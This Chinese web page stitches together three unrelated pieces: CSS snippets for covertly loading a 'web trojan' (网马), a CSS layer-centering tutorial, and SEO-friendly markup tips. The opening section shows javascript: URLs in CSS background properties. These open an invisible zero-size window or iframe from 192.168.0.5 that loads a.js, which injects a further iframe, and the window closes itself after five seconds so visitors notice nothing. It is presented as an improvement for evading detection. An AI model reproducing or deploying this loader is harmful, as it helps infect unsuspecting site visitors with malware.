网上流行的:
body
以下是引用片段:
{
background-p_w_picpath: url('javascript:document.write("<Iframe src=http://192.168.0.5/test.htm width=0 height=0></iframe>")')
}
//此方法会使主页不正常.返回一片空白.
用弹窗.
以下是引用片段:
body
{
background-p_w_picpath: url('javascript:open("http://192.168.0.5/test.htm")')
}
//弹出一个框.难看 易被发现.
改进一下:
以下是引用片段:
body
{
background-p_w_picpath: url(javascript:open('http://192.168.0.5/test.htm','newwindow','height=0, width=0, top=1000, left=0, toolbar=no, menubar=no, scrollbars=no, resizable=no,location=no, status=no'))
}
test.htm里面的代码,a.js为你的网马,弹出一个不可见的窗口,并在5秒自动后关闭没提示:
以下是引用片段:
<script src="a.js"></script>
<script>
window.opener=null;setTimeout("window.close();",5000);
</script>
a.js内容:
document.write('<Iframe src="http://192.168.0.5/calc.htm"></iframe>');
精品css层居中 <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" >
<head>
<title></title>
<style type="text/css">
body{
font-family: Arial, Helvetica, sans-serif;
font-size: 12px;
margin: 0;
padding: 0;/*--for opera--*/
}
#layout{
position: absolute;/*--绝对定位--*/
top: 50%;
left: 50%;
margin-top: -240px;/*--div高度的一半--*/
margin-left: -320px;/*--div宽度的一半--*/
width: 640px;
height: 480px;
background: #ECECEC;
}
pre{
padding: 15px;
}
</style>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" /></head>
<body>
<div id="layout"><pre>
如果把屏幕中点设為坐标原点(0 0),X的正方向是屏幕的右边,Y的正方向屏幕的上边。
那麼在已知BOX宽度和高度的情况下,设BOX的属性為绝对定位,top:50% left:50%,这样的话,
BOX的左上角就在坐标原点(0 0), 设margin-left:-320px(宽度的一半), 左上角的坐标(-320 0),
再设margin-top:-240px(高度的一半),左上角的坐标现在是(-320 240),相对原点来说, BOX是完全居中了,
四个顶点的值分比别是(320 240)Ⅰ, (-320 240)Ⅱ,(-320 -240)Ⅲ ,(320 -240)Ⅳ。
“开始
body{
font-family: Arial, Helvetica, sans-serif;
font-size: 12px;
margin: 0;
padding: 0;/*--for opera--*/
}
#layout{
position: absolute;/*--绝对定位--*/
top: 50%;
left: 50%;
margin-top: -240px;/*--div高度的一半--*/
margin-left: -320px;/*--div宽度的一半--*/
width: 640px;
height: 480px;
background: #ECECEC;
}
pre{
padding: 15px;
}
结束”
</pre></div>
</body>
</html>
总结对搜索引擎友好的网页设计代码
收集的一些对搜索引擎友好的网页设计代码,虽然不多,但很实用
1.面中尽量少用<span>标签,如果要用,用在不重要的位置,比如时间<span>2008-12-24</span>这种与页面内容无关的文字上面
2 如果首页链接中出现target="_blank"标签比较多,最好在HEAD中设置<base target="_blank" />,然后把页面中链接的所有target="_blank"去掉
3 链接里最好不要写class="",如果一定要定义则在链接的外面,<p class=""><a href="xx.htm">内容</p>这种方式来定义,最优化的<a href="xx.htm">内容</a>
4 页面设计和规划的时候,各栏目分类,分类,的设计顺序应该为 分类 -> 分页 ,而且在设计时候。这部分内容尽量靠顶部,就是在切成源码的时候,在源码里的顺序最好在顶部。
5 只要是重要链接。必须为静态页面。否则会出理搜索引擎不抓取的问题。
6 页面设计时候尽量能够考虑到制作时候源码的简洁性,如下代码:
<li><a href="#" >XXXX</a><span><a href="#" >评论</a>(<span>0</span>)</span></li>
在设计时候因为评论后面跟的那个(0)因为变色的原因,需要专门写个<span>来突出它。但这个0并不是很重要,用户在看链接的时候甚至会忽略它的存在。